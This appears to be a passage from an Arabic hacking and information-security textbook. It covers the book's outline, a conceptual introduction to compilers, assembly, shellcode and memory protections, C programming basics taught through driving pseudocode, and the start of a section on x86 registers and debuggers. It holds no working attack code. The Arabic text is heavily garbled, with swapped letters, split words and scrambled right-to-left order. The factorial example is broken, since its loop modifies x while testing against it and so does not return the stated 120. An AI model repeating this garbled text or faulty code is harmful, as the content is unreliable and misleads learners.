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 مايلي: ستتعلم في ذذا الكتاب

 البرمجه بلغة ال C،  البرمجية.وقهم وتحليل الأكواد 

 وكيفية برمجة ال الحاسب شبكات ،Sockets.ولنشاء الإتصالات بين الأنظمه ، 

  ذجمات ال  عن طريقليجاد ثغرات في الأنظمه واستغلالهاBuffer Overflows. 

  استخدام الDebuggers  لفحص الProcessor Registers  والSystem Memory. 

 ة التشغيل، والحصول على صلاحيات ال أنظمب الخاصةية التحايُل على آليات الحمايه كيفsystem  أو الroot .على الأنظمه البعيدة 

 دَهقهم تطبيقاتها و ،طوارزميات وأنظمة التشفير، وتحليلها  .المتَُعدِّ

 

بقية الأساس ل   تُعَدحيثُ ، وطُرُق تعاطيها مع البرامج أنظمة التشغيلدراسة و قراءة وك تابة الأكواد البرمجيه، تَعَلُّمب   نقوم في الباب الأول

 الأبواب.

 

ال  روتوكولات الشبكات، وكيفية انتقال البيانات بين الأنظمة، بدءاً منف على آليات وبُ تعر  نَ في الباب الثاني ننتقل للى عالم الشبكات، ل  

Application Layer  وانتهاءً بالPhysical Layerال كيف نُوظِّف في ذذا الباب  علمتن. سSockets  َلنشاء قنوات في  الشبكات لواود

 .الإتصال بين الأنظمه

 

وتَحليل ل بَعض أنواع والتعمق أكثر في بيئة الشبكات، في الباب الثالث نقوم بتسليط الضوء على عمليات الإطتراق وتأمين الأنظمه، 

 ، ونختم بإجراء اطتبار اطتراق عملي.Debuggersالهجََمات باستخدام ال 

 

ض لآليات تحقيق الأمان باستخدام طوارزميات التشفير، مَع د راسه ل بَعض وأطيراً، في الباب الر نتََعر 
ابع ننتقل للى علوم تشفير البيانات، ل 

لة المسُتَخدَمَة ل توقير المَوثوقية، والخصُوصية، وسَلامة البيَانات أثناء انتقاله   ن مَكان لآ  الأنظ مَة المتُكام   طر.ا م 
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What you need for this book 
ض أنكَ على د راية ب أس  في مَنهَج  ةللشبكات، كالُمتوقِّر ة، وبالَمفاذيم الأساسيةالعام اسيات الكُمبيوترذذا الكتاب يَفتَر 

قَ ”+Network“شهادة  ثلَ  ة، وبعض الَمعر   .Linuxو  Windowsبأنظ مَة التشغيل م 

 

 

Preface 

فة قلس نتمكن من شرححتى الإلكترونية وأمن المعلومات، و القرصنة بتسليط الضوء علىقوم نالكتاب  ذذافي 

 Computerال معرقة تبدأ ب ،تحضيرية للإلمام بعدة أمور ة، قنحن بحاجطتراق أو تأمين البيانات والأنظمةالإ

Architecture  وأنظمة التشغيلWindows)  و(Linux، وتكنولوجيا التشفير، لشبكات الفهم الجيد لبروتوكولات او

 .Pythonل كا Scripting languageو  ،Cغة ال لُ كَ  وبعض لغات البرمجة

 Computerومبادئ ال يبدأ بتبسيط أساسيات البرمجةبشكل ذرمي،  ذذه الأمور تناوليتدرج الكتاب في 

Architecture  ،انتقال البيانات بين آلية و للى علوم الشبكات ينتقلثم حيث تعد الأساس لبقية الأبواب، للقارئ

ق لتحقي اللازمة علوم التشفيربويختم  ،الحمايةاق وآليات الإطتروتحليل  شرحب يتعمق أكثر ليبدأ ، ثمالأنظمة

 .الخصوصية والسلامة والموثوقية

تشاء داطل  التنقل كما بإمكانك لكن على بعضها بشكل تسلسُلي، حيث تكون مُعتمدةتم لعداد موضوعات الكتاب ب

 .مُل مًا بالأساسيات المطلوبةالكتاب لذا كنت 
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Introduction 

 

ح مفهوم الأُحبُ أن أبدأ بمقولة أعجبتني.. عبارة عن أحد   :عند الكثير! قرصنةالتعريفات التي تُصحِّ

“Hacker is a term for both those who write code, and those who exploit it!” 
 

ب على الَمشاك ل!، لأنهُ غلُّ على الرغم من اطتلاف أذداف كل منهم للا أنهم في النهاية لديهم نفس التكنيك في التَ 

م البَرمَج ةببساط والثغرات الأمنية،  ةشاف الأططاء البرمجيمُهم لم ن يُريد التحايُل على الأنظمة، يُساعدهُ على اكت ة.. قَه 

م  ..وعلى الجانب الآطر ج أو مُصمِّ
الفهم لسبب حدوث ذذا الاطتراق )الثغرة نفسها أو الخطأ البرمجي( سينفع المُبرم 

م البَرمَج  . وبما أن  لديه ةص أكواده و لعدادات الأجهزلنظام الأمني وسَيُعلمُهُ أكثر حتى يتفحا ذُو الشَرط الأساسي  ةقَه 

فهَم كَيفَ تَسير الأمور بَيَن الأنظمة وَالبروتوكولات، قَسوفَ نبدأ ب شَرح مُبسَّط ل بَعض الأساسيات التي حتى تَ 

 أم لا!. ةتُحب البرمج ض النظر عن ما كُنتَ سَتحتاجها بغ

 

 ذيا لنبدأ رحلتنا..

بار البرنامج طُر أو الجمَُل مَكتوب ةعن مجموع ةذو ع  ، في الواقع ليست البرامج قحسب! قهناك ةمُعين ةب لُغ ةمن الأس 

ن الأمور الُمبرمَجَ  ة، مثلاً قيادتك للسيارةالبرمجمفهوم حولنا مبنية على أمور كثيرة 
ك لخطوات باتباع مُسبَقاً وذلكً  ةتُعد م 

ياد ةمُحدَدَ  ند الق  من  بحدوث مجموعةيتحقق قيها الهدف  ،، وأطيراً رياضة كُرة القدم، أيضاً وصفات الطبخةع 

 .ةداطل الشبك ةالكُر بوضع، تنتهي الإحتمالات

 

 .. لكمبيوترل نعود للى ا.. !ذذا مُُتاز
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، وذي لغة يفهمهاب Instructionsنكتب لهُ ال  كي نجعل الكمبيوتر يقوم بشيء ما قعلينا أنمن البديهي أنه 

 Architecture وتختلف من Bits, and Bytesعن  ةلأنها عبار.. !لكنها صعبة الفهم ، Machine Languageال

بار Assemblerظهر لنا ال  Machine Languageولكي نتغلب على أزمة الكتابه باللآطر.   Translatorعَن  ةوذو ع 

ن أبسط  Assemblyلُغة ال  تُعد.  Machine Languageالى ال Assembly Instructions يقوم ب تَرجمة ال م 

م كَل مات وعناوين مفهومقَهي ،  Machineال التي تتكون من أرقام ققط!. لكنها تتشابه   Machineب عَكس ال ةتَستَخد 

 .Architectureفي أنها تختلف أيضاً باطتلاف نوع ال   Machineالمع 

 

ن التي  ةوذي اللغ ،Machine Language للى ال  Assemblyللتحويل من ال Translator للى ةا أننا ب حاجعَرَق 

نُ  سَيَكون الأمر صعباً أيضاً!، ؟،Assembly أن يَفهَمَها.. والآن ذل سنكتُب الأكواد بال CPU يستطيع ال نَح 

يُترجم لَنا ما نَكتُبُه م    Translatorللى ةب حاج
ن نوع آطر ل  ثل لُغات الم   Machineللى ال++C, C  ن أكواد بلغات م 

Language ذُنا سيكون ال.. ، Translator ذو ال Compiler . 

 

 Processor Architectureللى لُغة الآله وبناءً على نوع ال  C بترجمة الأكواد بلغة ال Compilerلذاً.. يقوم ال 

ذُنا  Hackerلأنه الأساس لنجاح البرنامج!، ولكن ال  Source Code  الموجود، وذذا مايُفسُِّ اذتمام الُمبرمجين بال

و بالفحص الجيد لكيفية تعامل  ،CPUمع ال  في نهاية المطافذو الذي سيتعامل  Compiled Programيَعي أن ال 

ك نهُ حينها تمُ  Applicationفي البرنامج أو ال  ثغرةمع ذذا البرنامج، رُبما يتمكن من اكتشاف  Memoryوال  CPUال

ال  داطللأماكن أطرى  execution flowللى محاولة توجيه ال  crashله، وربما يقوده ذذا ال  crashمن لحداث 

memory  حيث يضع بِا مجموعة من الinstructions  نُسميهاshellcode ليقوم ال ،CPU  بتنفيذذا بدلاً من استكمال

 تنفيذ البرنامج!. 
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بار "Dave Aitel" السيد الأمريؤكد على ذذا  ه  الع  َذ   :ةبِ 

“Hacking is not reverse engineering!, your goal is not to come up with original source code for 

the application!, your goal is to have a greater understanding of the program or system than the 

people who built it”. 

 

نها لات التَلاعُب ذَذهمُحاوأمنية لمنع  ر تقنياتتم تطوي أو ال  Nonexecutable Stack، وال SafeSEH، م 

Randomized Stack Space، ذي  ..بتطوير تقنية شهيرة مايكروسوقت قامتو“DEP” ، وغيرذا من التقنيات

 بإذن الله. الباب الثالثالأمنية التي سيَجري مُناقشتها لاحقاً في 

ن لُغَة ال  ذذا رائع!.. م ال  ،؟..Assemblyولكن ماذا سَنَستفيد م  ترجَمَة مانُريد للى  Compilerلذا كُنا ققط سَنسَتَخد 
ل 

 وينتهي الأمر!. Machine Language ال

  .لتي سَتَجعلك تَعي وحدَك أهميتهاواAssembly  النعم.. ذذا منطقي، ولكن دعني أوضح بعض الخصائص ل لُغَة 

 

 الAssembly   ُين لاست عراض اليستَخ ةعتبَر طَريقَ ت مُها المُبرمج   "Machine Language Instructions"د 

  .CPUالتي تَم  لعطاؤذا للى ال 

 ال Assembly  تتعامل ب عَلاقةOne-to-One  مع الMachine Language بمعنى أنه ل كُل ،Instruction 

حهُ ب طَريق Assembly ب لُغُة ال Instructionيُقاب لها   Machine ب لُغة ال أسهل ل تَفهم كَيفَ يَتعامل ال  ةيوض 

CPU ثال عل مَعَ البرنامج الذي يَعمَل عليه!، وكَم  يُقابلهُ بال  ةب لُغة الآل 11000011أو " 0xc3" ..ب الف 

Assembly الكَل مَة:  ذذه"ret"  ب مَعنى(return). 
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 وكيفَ نُطبق ذذا الأمر؟ 

م ما يُسمّى   Assemblyللى لغة ال  Machine Languageوالذي يقوم بإعادة ترجمة ال  Disassemblerبال ذُنا نَستَخد 

هُل الفهم والتحليل  .كي يَس 

 

ذذه الصورة ستوضح لك مغزى معي  تأمل

 ..الأمر

ال  من كل مايقوم بهلنا ذذه الصورة توضح 

malware author  حيث يكتب أكواده بلغه

 malware، بينما يتركز عمل ال Cمثل ال 

analyst  ال في قحص وتدقيق

instructions  أو الsoftware behavior 

 وغيرذا. IDA Proكال  Hex Auditors باستخدام ال

ن ذذا الشكل ذو التركيز على  . Disassemblerو ال Compilerال  وظيفة كُلٍ م ن ما نُريدهُ م 

 

جيد!..  ،ذل أدركت ذلك؟ !..ةتحفيزك لإدراك أهمية البرمج دقهاللى ذُنا نكون وصلنا ل ن هاية ذذه الُمقدمة، والتي كان ذ

 .C  ب لُغَة ال ةلذاً لنبدأ بشرح أساسيات البرمج ذيا
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Control Structures 
 

ن مَجموعَ من الطبيعي  نَ ال ةأن  البرنامج يتكون م  التي يتم تنفيذذا ت باعاً، ولكن ما العمل لذا ظهرت Instructions  م 

م بعض الخيارات ن واقع الحياأو العقبات أثناء التعامل مع المُستَخد  ثال م  ب م  ، ة، أنتَ أثناء ق يادَتك للسيارة؟ ل نضَر 

هَ قيقوم  GPSيُمك نكُ تفعيل ال  ج  د للو  م مَسار مُحدَ  تَ في طريق طاطئ أو وجدت أحد الشوارع ةب رَس   
، ولكن لذا سِ 

م نفس التكنيك في البَرمَجَ لفور!، نَحنُ أيضاً نسعلى ا Routeبتغيير ال  GPSمسدوده قسيقوم ال  م ب خَط ةتَخد  ، قَنَتَحَك 

ققاً لم ا نُق Instructionsسَير  ال  يه الَموق ف.و  ه ولم ا يَقتض  ر  التي تقوم بعمل ال  Statementsسنتكلم عن بعض ال  رِّ

"Control"   ثال قيادة السيارهللبَرام  .ج ب تَطبيق م 

 

If-Then-Else 
 

 ..شارع رئيسيفي سير ن نانا نتصور أندع

 قإن (If) صادفَ تواجد بعض الإصلاحات في الشارع(Condition).. 

  ًلذا(Then)،  سنقوم بتنفيذ بعض الInstructions !ل تفادي ذذا العائ ق.. 

  غير ذلك(Else)،  قُم باستكمال سيرك طالما لم تُصاد ف الإصلاحات.(Condition)  

If (condition) then  

{ 

Set of instructions to execute if the condition is met; 

} 

Else 

{ 

Set of instruction to execute if the condition is not met; 

} 



 Understanding Hacking and Information Security                                                  من المعلوماتوأ  ةالقرصنة الإلكتروني

Programming 
 [18] 

While/Until Loop 

 

التي  Conditionوستحتاج أن تضع له ال  !، ةأكثر من مر Instructionsمن ال  ةاناً يُريد المُبرمج تنفيذ مجموعأحي

 .قوم بناءً عليها بتنفيذ التكراريس

 لنأطذ ذذا المثال: 

داية للى الب Pointerقيعود ال  (})ينتهي القوس الثاني  .."ةذب واحصل على الطعام ثم التهملن  أصابك الجوع، لذ"

ج الدال..ذل لازلت جائع؟  ..قيتحقق من الشرط مرةً أطرى  .ةلا!، لذاً سَنخَرُج طار 

 

While (you are hungry) 

{ 

Find some food; 

Eat the food; 

} 

 

 .عنوان ذذا الباب؟ الموجود في صفحةوالآن.. ذل قهمت دلالة الكود المكتوب على الكوب 

 ولكن بشرط معكوس!، أي أنه:  Whileذي نفس ال  Untilدالة 

 .لطالما أنك لم تشبع بعد!، استمر بالأكل

 
Until (you are not hungry) 

{ 

Find some food; 

Eat the food; 

} 
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For Loop 
 

نَ المَرّات. كأن  نُخبر البرنامج بالقيام ب ع دّة ططوات، ذذه الخطوات   ما ل عَدَد م 
ٍ
نستخدمها أيضاً عند الحاجه ل تكرار شيء

ه بِا. وبعد انتهاء عدد المرات سيقوم بالخروج من الداله. ُ ن المَرّات سَنخُبر 
ثال  سَيُكَررذا ل عَدَد م  لتوضيح ذذه مايلي م 

ترات، سَنقوم ب تطبيقه  باستخدام كلٍ ةالدال باره عَن كود يُعطي الأمر ل قيادة المَركَبَة لم َساقة خََسَة كيلو م  ن، ع  و   Whileم 

For. 

 

For (5 iterations) 

Drive straight for 1 mile; 

 

يادة السياره لم َساقَة ميل واحد، ثُم تقوم بالسير لم   يل آطر، ثُم ميل ثالث، وذكذا للى أن تصل للى الميل ذُنا سَتَقوم ب ق 

 الخامس.

 :C ذذا شكل الدالة بلُغة ال

For (i=0; i<5; i++) 

Drive straight for 1 mile; 

 

 قرأ ذذا الكود، لأنه سيتكرر كثيراً لاحقاً.. نكيف  سنُشاذد معاً 

طُل بقيمة  ، ذل ذو 5، ثم تُقارنه بالرقم (i = 1)بواحد، قيكون  i ثم تقود لمساقة ميل واحد، قتزداد قيمة (i = 0)سَتَد 

نهُ بالرقم (i = 2)قيكون  ++iأصغر؟، نعم!، اذذب لتقود مساقة ميل آطر، ثم قم بتنفيذ  ، ة، ثم عُد للقياد5، والآن قار 

 دالة.قنجد أنه لم يتحقق!، قنخرج طارج ال (i < 5)، قنقُارنها بالشرط 5تساوي  i  استمر للى أن تكون قيمة
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 Whileوالآن سنطُبّق نفس الشرط باستخدام 

Set the counter to 0; 

While (the counter is less than 5) 

{ 

Drive straight for 1 mile; 

Add 1 to the counter; 

} 

 

للدالة  ةدو( ثم الع1(، ثم القيادة لمساقة ميل واحد، وزيادة العداد بقيمة واحد ليصبح )0ذُنا سنقوم بتصفير العداد )

( وذكذا حتى الوصول 2قنجد أنه أقل، قنعود للسير بمساقة ميل آطر وزيادة العداد ليصبح ) 5ومقارنة الرقم ب 

 ( قتكون النهاية.4للرقم )

 

 

Variables 

 

ه، ذذا مُشابه ، لابُد من تحديد نوع المُتغير قبل استخدامةأن نَضَع بداطله ق يمَة مُحدّدَ  المتغير ذو عبارة عن لناء يُمك ننُا

لزُجاجات المشروبات والعصائر! نستطيع تمييزذا بوجود الكتابة أو الصور الُملصَقَه عليها. ذذا الُمتغير ربما لا يحتفظ 

، مايلي "متغير"بِذه القيمة بداطله الى الأبد، يُمكننا تَغييرذا، أو الإضاقة عليها، أو نَط رَح منها، قتم لطلاق عليه لفظة 

 :ةباللغه الإنجليزي زتعريفه الموج

“An object that holds data that can be changed” 

د نَوعه  كُر اسم الُمتغََيرِّ ونُحَدِّ ما لذا كان سيحوي حروقاً أو أرقام  (declare your Variable)برمجياً، يجب علينا أن نَذ 

ف ونَذكُر مع  يجب أن يتم ذلك قبل أن تقوم باستخدامه داطل برنامجك، كما الحال .مثلاً  وصفات الطبخ، قنحن نُعَرِّ

 الَمقادير بأسمائها وأنواعها قبل الشروع بالطهي. 
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 سنتكلم عن ذذه الأماكن بالتفصيل قيما بعد. ، Memoryذذه المتغيرات يقوم الجهاز بتخزينها في مكانٍ ما داطل ال 

 :variables مايلي بعض أنواع ال

int (integer values) 

float (decimal floating) 

char (single character values) 

 

ل يستوع ب عدد  نوعهُ  objectأي أن كلاذم سيكون (، int)وقُمنا ب تحديد نَوعيهما  bو  a ب تَعريف مُتغيرين موقنذُنا 

"Integer" .قهُ بَعد، عَدد صَحيح ر   لا نَع 

int a, b; 

 

 ل نأطذ مثال بسيط:

int a = 13, b; 

float k; 

char z = 'A'; 

 

 

k = 3.14; 

z = 'w'; 

b = a + 5; 

 

 "عدد صحيح"،  نوعه b ثُم حَددنا مُتغير آطر .. 13وحددنا ما بداطله مُسبقاً! وذو الرقم a قُمنا ذُنا بتعريف مُتغير

ل هولك ن  قنا مُتغير آطر ..لَم نُحدد ما سَيحَويه ب داط  اطله سيحوي بد z، ثم متغير آطر "عدد عشري"نوعه  k ثُم عَر 

 ثُم قُمنا بإجراء تغيير للمُتغير ..3.14وذي  k وبعدذا حددنا القيمة التي نود وضعها داطل المتغير ..A حرف واحد ذو

z من جديد حيث استبدلنا ما بداطله، وذو الحرف A .. ووضعنا بدلاً منه حرف آطر، ذوw..  ثُم أطيراً أطبرنا

ن داطله قيم  b الُمتغيرصديقنا    ..5زائداً عليها عدد  13وذي  a ة المتغيرأنهُ سَيُخزِّ
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 . 18في النهاية  b وبالتالي ستكون قيمة

 الُمهمة. Operatorsسننتقل الآن لتوضيح بعض ال 

 

 

Arithmetic Operators 

 
Operation                        Symbol Example 

Addition +                         b = a + 5 

Subtraction -                     b = a - 5 

Multiplication *                 b = a * 5 

Division /                          b = a / 5 

Modulo reduction %           b = a % 5 

 

ض مُتغير  "Mod"سَنقوم ب توضيح ال  ثال، ل نفَر  وأردنا  a=13وذو القيمة الُمتبقية بعد لجراء عملية الق سمَة، وكَم 

 (.3) بعد عملية الق سمة ذذه قيمة.. ذي 13ويتبقى من الرقم  2قيكون الناتج  5القسمة على 

(13%5 = 3)  
 

 Forفي بعض الدوال مثل تلك المستخدمة في دالة ال  (Shorthand Expressions)نستخدم أيضا بعض الاطتصارات 

 .++iدوماً 

 
Full Expression             Shorthand                  Explanation 

i = i + 1                    i++ or ++i             Add 1 to the variable 

i = i - 1                    i-- or --i              Subtract 1 from the variable 

 

ندَما يَت م استخدام ذَذه العَلاقات مع ال    .نوع الاطتصار الُمستخدملف النواتج تبعاً ل  قتخت Arithmetic Operatorsوع 
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 :مثال

int a, b; 

a = 5; 

b = a++ * 6; 

 ؟ bو  a ماذا سيحوي كلًا م ن

 نعم.. سيكون الناتج كالتالي:

b = 30 

a = 6 

 

  لماذا؟

بر  البرنامج بإضاقة  ++aلأن   .!ية الحسابيةللتمام العم "بعد"ولكن  a لالى قيمة المتغير 1تعني أننا نُخ 

 

ثال آطر:  لنستعرض م 

int a, b; 

a = 5; 

b = ++a * 6; 

 لجراء عَملية الضرب!: "قبل" a وذذا يَعني أنهُ سَتزداد ق يمة الُمتغير

 
a = a + 1; 

b = a * 6; 

 (a = 6) ويكون، 36=  في النهاية b وبالتالي تكون قيمة

 

نة لُمتغيٍر ما، قيقوم بإجراء الجمع والإحتفاظ بالناتج ذذا رائع، ..يُمك نُنا أيضاً كنوع من الإطتصار لضاقة قيمة مُعي

 النهائي بداطله في نفس الوقت!، يتم استخدامها كثيراً في الأكواد.
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Full Expression               Shorthand                Explanation 

i = i + 12                  i+=12                      Add some value to the variable. 

i = i - 12                  i-=12                      Subtract some value from the variable. 

i = i * 12                  i*=12                      Multiply some value by the variable. 

i = i / 12                  i/=12                      Divide some value from the variable. 

 

 

 

Comparison Operators 

Condition              Symbol              Example 

Less than                <          (a < b) 

Greater than           >          (a > b) 

Less than or  

equal to                  <=         (a <= b) 

Greater than or  

equal to                  >=         (a >= b) 

Equal to                 ==         (a == b) 

Not equal to           !=         (a != b) 

 

، قنحن (a = = 5)بينما عندما نكتب  ..a تغيرداطل المُ  5قيمة  ضَعقَنحَنُ نَعني..  على سبيل المثال، (a = 5)عند قَول نا 

لها المُتغير آطر يُمكن استخدامه  symbolذناك  أم لا. 5ما لذا كانت  a نطلب من البرنامج التَحَقُق من القيمة التي يَحم 

 كمايلي: "Not" ويعني )!( وذو ال condition ب مُفرده قبل ال

 
!(a < b) is equivalent to (a >= b) 

م ب رَمزي ال ه  تام   :OR وال AND ونقوم ب خ 

 

Logic              Symbol              Example 
OR           ||         ((a < b) || (a < c)) 

AND          &&         ((a < b) && !(a < c)) 
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نَ الشَرطَين الأول أو الثانيقيق أيّ تَح ذُنا نُريد  في المثال الأول: نَحنُ   ني: سيكونوفي المثال الثا .Trueقتكون النتيجه  ..م 

عن  aوفي نفس الوقت لا تقل قيمة  b أصغر من قيمة a وذو أن تكون قيمة ..ققط لذا تحقق الشرطين معاً  Trueالناتج 

 .c قيمة

 

 :أيضاً  ذذا المثال يوضح العلاقة

While ((hungry) && !(cat_present)) 

{ 

 Find some food;  

 If(!(food_is_on_a_mousetrap)) 

 Eat the food; 

} 

 

 ؟..While ذل تتذكر دالة

ياب الق ط. قسيبحث عن قطعة الجبن، ثم تم قتح شرط آطر ا، وهمطين لحدوثهاقُمنا ذُنا بوضع شر  : جُوع الفأر، وغ 

ئران، حينها قُم ب التهامها. التعبير عَن حُدُوث الجوع يُمك نُنا أيضاً  وذو أن تكون ق طعة الجبُن ذذه لَيسَت ب مَصيدة الف 

 .True تعني 1 والقيمة False تعني 0 لأن البرنامج يرى أن القيمة While (hungry ==1) بالصيغة

 

 

 

Functions 

 

 

 .Functions بعد أن انتهينا من ذذه الأساسيات، سننتقل الآن للى ال
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ع، قمث Instructionsأحياناً يود المُبرمج استخدام مجموعة معينة من ال  لذا قرضنا  لاً ليقوم بتنفيذذا في أكثر من مَوض 

معينة، قإذا كُنا نكتُب برنامج  ةمُحدد وبطريق Serverأننا قمنا بكتابة مجموعة أسطر برمجية تقوم بإنشاء قناة اتصال ب 

نا أن نتصل بِذا السيرقر في عدة مواضع داطل الكود، قليس م  ةن الحكمة تكرار ذذه الأسطر كل مرطويل، وأرد 

وكلما أردنا  ."Function" يُسمّى Sub-Program ننا وضعهم في شيء أشبه بنحتاج قيها لإنشاء الاتصال، يُمك  

 ققط لتوقير الجهد. Functionلنشاء الاتصال اكتفينا بكتابة عنوان ذذه ال 

نطَُبِّق عليه: ل  
ثال واقعي ل   نأطُذ م 

ض أنك تَسير ب سيارتك في أحد الشوارع ثم تُصادف مُفترق بعد قليل، وتود أن تحدد ما لذا كنت ستتجه للى اليمين  ل نفر 

ن التفاصيل  Function Turnنُطل ق عليها  Functionأو للى اليسار!، سنقوم ذُنا ب كتابة  ز لكَ مجموعة م  أي أننا سنجُهِّ

وذي أننا سنترك لك القرار في أن  ارك!، ولكننا سنستخدم ميزة برمجيةالتي سوف يتم اتباعها عند رغبتك بتغيير مس

يه   Variableاه قيما اذا كنت ستتجه للى اليمين أم الى اليسار. سنعتبر الاتجاه في حد ذاته تُحدد الاتج سَنسَُمِّ

variable_direction  ددُهُ أنت ثُم تقوم ال  بإجراء عملها بناءً عليه ( )Turnلَكَ أن تُحَ

 

 بتنفيذ الآتي:  Function ستقوم ال 

 لإتجاه المراد الانتقال لليهاليمنى أو اليسُى حسب ا ةتشغيل ضوء الإشار ((Activate Blinker. 

 بالتباطئ  ةتبدأ السيار ((Slow down. 

 !سنقوم بتفحص حركة المرور في الحارة التي سندطل لليها(Check for oncoming traffic) . 

ثال يُوضح عمل ذذه ال  :function ذذا م 
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Function Turn (variable_direction) 

{ 

  Activate the variable_direction blinker; 

  Slow down; 

  Check for oncoming traffic; 

  while (there is oncoming traffic) 

  { 

   Stop; 

   Watch for oncoming traffic; 

  } 

  Turn the steering wheel to the variable_direction; 

  while (turn is not complete) 

  { 

   if(speed < 5 mph) 

     Accelerate; 

  } 

  Turn the steering wheel back to the original position; 

  Turn off the variable_direction blinker; 

} 

 

س الأ ظ أن القَو 
استَخدمنا دالة  ..تَم  قَتحه في البداية وغلقه في النهاية، وجميع الأحداث تَم ت بينهما ول )الخارجي(لاح 

While َةل نضََع شَرط عَدَم الدُطول للى الح
ا مُزدَحم   ..ارة في حالة كَونه 

ود للى الإتجاه المُراد )تم تَركهُ ال Instructionللى ال  pointerقَسَيَنتق ل ال قإن لَم تَكُن كذلك،  تالية وذي دوران الم ق 

ج كاقية للقيام بالدوران والاندما ةنفسها لابُد أن تكون على سِع ةكمُتغير(، ثُم وَضَعنا شَرط آطر وذو أن السيار

قوَد الس ..if وداطلها دالة Whlie ..بالحارة قاستخدمنا دالتين معاً  نهُم ل نعُيد م  ئ  ةيارثُم طَرَجنا م  ل وَضع ه الطبيعي ونُطف 

صباح الإشار  أطيراً. Function، ثُم الخُروج من ال ةم 
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، وبَعدَ أداء عَمَل ها، لمّا أن تقوم ب إرجاع نات ج أو قيمةٍ ما لَنا أو لم َن قامَ  Functionيحدُث استدعاء للC  في لُغة ال

ع لنا شيءfunctions can return a value to a caller) )باستدعائ ها  التي  functionنُطل ق على ال و، !ورُبما لا تُرج 

ع لنا قيمة بعد انتهاء عملها بال قيمة بَعدَ انتهاء عَمَل ها نَقوم ب الإشارة  functionأما في حالة لرجاع ال ( )void. لا تُرج 

 الخاص ب ه..  Data typeمَعَ توضيح ال  ،return valueذذا ال  functionللى الُمتغير الذي سَتضَع قيه ال 

 

 كيف ذلك؟

ثالبذذا  نشرححسناً.. س  :م 

 

ع لنا ، a نقوم باستدعائها لإجراء عملية رياضية على المُتغيرِّ  ( )factorialاسمها  functionمايلي  وبعد انتهائها ستُرج 

 .bقيمة تقوم بوضعها في الُمتغَير 

int a=5, b; 

b = factorial(a); 

 

وذذا يعني أن  ،intستكون بالطبع ، أنهُ سيحوي قيمة b ، ثُم أطبرنا المتغيرintتَعريف مُتغيرين بنوع نَقوم في ذذا الكود ب  

 (a)سيكون  ،"بخمسة"  aووضعنا قيمة الُمتغير .integerسيكون نوعه  ( )factorialالقادم من ال  return valueال 

ل الرقم  ،functionالذي يَت م لمرارهُ للى ذذه ال  Argumentذُنا ذو ال  ساب ية  5بمعنى أننا سندُط  لإجراء العَمَلية الح 

 .b عَليه ثُم نَضَع النات ج في الُمتغير

 

يَ ال   التي قُمنا باستدعائ ها: ( )factorialذاذ 
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int factorial (int x) 

{ 

int i; 

for (i=1; i < x; i++) 

x *= i; 

return x; 

} 

 

ظ أن  قيمة في النهاية . integerأنه  data type، وتَم تَحديد ال 5رقم الُمدطَل وذو في حالتنا تَم تركها تبعاً لل x لاح 

  (.120 = 1*2*3*4*5)قيمة ذي  b سيحوي الُمتغير

 بإذن الله. الباب الثالثفي " functionاستدعاء ال "سأشرح لك بالتفصيل كيف تَت م عَمَلية 

ر أن ال  ع لَنا ق ي Functionتَذَك  يَ التي نَستدعيها ل تقوم ب وظيفةٍ ما ققط بال "return value"مُعينة  ةمالتي لا تُرج  ، وذ 

"Void Function".  يادة السيارة الماضي، لاحظ أننا استدعينا ال ثال الخاص ب ق  ئنا للم  لتقوم  Function( )_Turnلذا ج 

نها،  return valueبعملية الدطول للحارة ققط، قنحن لسنا بانت ظار  ققط نَوَد  تنفيذ مجموعة من ال  لأننام 

instructions ي حارة!. ةبدون الاضطرار لك تابَتهم كل مَر  قبل الدطول لأ 

 

َذا الم ثال  م بِ 
 :functionsال  ققرةسَنخَت 

void turn (variable_direction, target_street_name) 

{ 

   Look for a street sign; 

   current_intersection_name = read street sign name; 

   while (current_intersection_name != target_street_name) 

   { 

    Look for another street sign; 

    current_intersection_name = read street sign name; 

   } 

   Activate the variable_direction blinker; 

   Slow down; 
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   Check for oncoming traffic; 

   while (there is oncoming traffic) 

   { 

    Stop; 

    Watch for oncoming traffic; 

   } 

   Turn the steering wheel to the variable_direction; 

   while(turn is not complete) 

   { 

    if(speed < 5 mph) 

      Accelerate; 

   } 

   Turn the steering wheel right back to the original position; 

   Turn off the variable_direction blinker; 

} 

 

وذو اسم " target_street_name"أو مُتغيرِّ  ”Argument“تَم  لضاقة  ..أكثر واقعية Functionولكي تكون ال 

ماج لليه، ال ع الُمرَاد الإند  ه  ".variable_direction"الأول  Argumentب جان ب ال شار  ن  ذَذ 
ق الإستفادة م  والآن سنحُقِّ

تَدعي ال  ةبأن نَكتُب بَرنامَج للسيار  functionال ب. functionثُم نَس   في الوَقت المُناس 

 

Begin going East on Main Street; 

 

if (street is blocked) 

{ 

    Turn (right, 15th Street); 

    Turn (left, Pine Street); 

    Turn (right, 16th Street); 

} 

else 

    Turn (right, 16th Street); 

 

Turn (left, Destination Road); 

for (i=0; i<5; i++) 
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    Drive straight for 1 mile; 

 

Stop at 740 Destination Road; 

 

 .؟ ( )Turnذل لاحَظتَ أينَ قُمنا باستدعاء 

نهم مكان ال  Argumentsقُمنا أيضا بإمرار ال  ولن ننتظر الُمناظ ر له وتنفيذ المطلوب،  variableلليها ل يَتم وَضع كُل م 

return value  نها لأنها  .”void function“م 

 

ن جَديد. التي  Registersسنتعرف على بَعض ال  .سننتقل الآن للى موضوع مُُتلف قليلاً ثُم نَعود للى البَرمَجةَ م 

مها ال   أثناء تعامُله  مع البرامج . CPUيَستخد 

 

 

 x86 Processor 

 

مع ال  CPU عامَل الت فيةكَي تعرف علىل نَ  x86 processorسَنأطذ قاصل قصير لنشُاذد بعض الأمور الُمتعلقة بال 

Compiled Program..  يَمتلَ ك الProcessor من ال  ةمجموعRegisters .. مهم ك قهو  internal variablesيَستَخد 

 .ةوظِّفهم بشكل دقيق لإتمام مَهامه  المخُتلفيُ 

 

 ..؟Registerنعم، ولكن ماذا نعني بال 

 .Data وتُعد  أسِع طريقة يستخدمها  للوصول والتعامل مع ال CPU لنها مساحة تخزين صغيرة داطل ال

A small amount of storage on the CPU and is the fastest method for a CPU to access data. 
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 memoryومُراقبة ال  Compiled Program يُمكنكُ رؤية الكثير من التفاصيل، كما يمكنك الوقوف داطل ال

 ."Debugger"أثناء عمل البرنامج، لنها وظيفة ال  Registersلبرنامجك وترى ب عَينيَك أوضاع ال  ةالُمخصص

 

 ؟Debugger..ما ذذا ال 

م الكيميائي الميكرسكو ثلما يَستَخد  ج باستخدام الميكرسكوب أيضاً، لَك نهُّ سيتفحص م  ب لفحص العينات، يَقوم المُبرم 

